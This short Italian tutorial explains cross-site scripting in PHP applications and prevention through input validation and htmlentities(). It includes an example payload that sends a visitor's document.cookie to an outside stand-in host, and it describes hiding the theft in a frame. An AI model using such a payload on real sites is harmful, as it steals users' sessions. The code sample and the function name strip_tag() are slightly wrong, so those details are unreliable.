XSS: Cross Site Scripting e PHP

Questo tipo di attacco prevede l'inserimento di codice arbitrario, sia esso HTML o comandi di scripting (JavaScript, VbScript o ActiveX), come input di una applicazione web oppure di una e-mail in formato HTML. Il codice maligno verrà quindi eseguito del browser del visitatore della pagina in cui è stato pubblicato.

Un esempio classico di vulnerabilità può essere considerata una applicazione che previa autenticazione premetta di pubblicare del contenuto che sarò visibile ai successivi visitatori, un Blog ad esempio, senza estrapolare dai contenuti le istruzioni e i comandi eseguibili.
La caratteristica che rende molto pericoloso questo tipo di attacco è che la responsabilità del rilascio del codice maligno viene delegata all'hosting, inconsapevole, che mantiene l'applicazione vulnerabile, il responsabile dell'attacco accederà al server per ottenere le informazioni che l'utente sta fornendo.

Vediamo un semplice esempio di XSS:
window.open('http://www.miosito.com')
che apre una browser dell'utente verso un sito esterno.

Oppure, per ottenere i cookie del visitatore ignaro:
document.location('http://www.miosito.com/getCookie.php?'%20+document.cookie
getCookie.php, presente sul mio sito, può ad esempio caricare una pagina dove un frame nascosto si occupa di archiviare/inviare a qualche altra applicazione il coookie "rubato" e la parte visibile è invece la pagina di provenienza. In genere viene effettuato anchel'encoding della URL remota in modo da nasconderla ulteriormente.

L'attacco può essere prevenuto attuando la regola base "non fidarsi mai dell'input" e quindi validando lato server ciò che i nostri utenti inviano, questo significa ad esemio utilizzare funzioni  come
strip_tag()
per rimuovere gli evenentuali tag HTML da ciò che l'utente sta inserendo.

Inoltre un'altra operazione efficace per evitare gli XSS è di eseguire in output la funzione htmlentities() che trasforma in entità HTML i caratteri come  etc...

Privacy Policy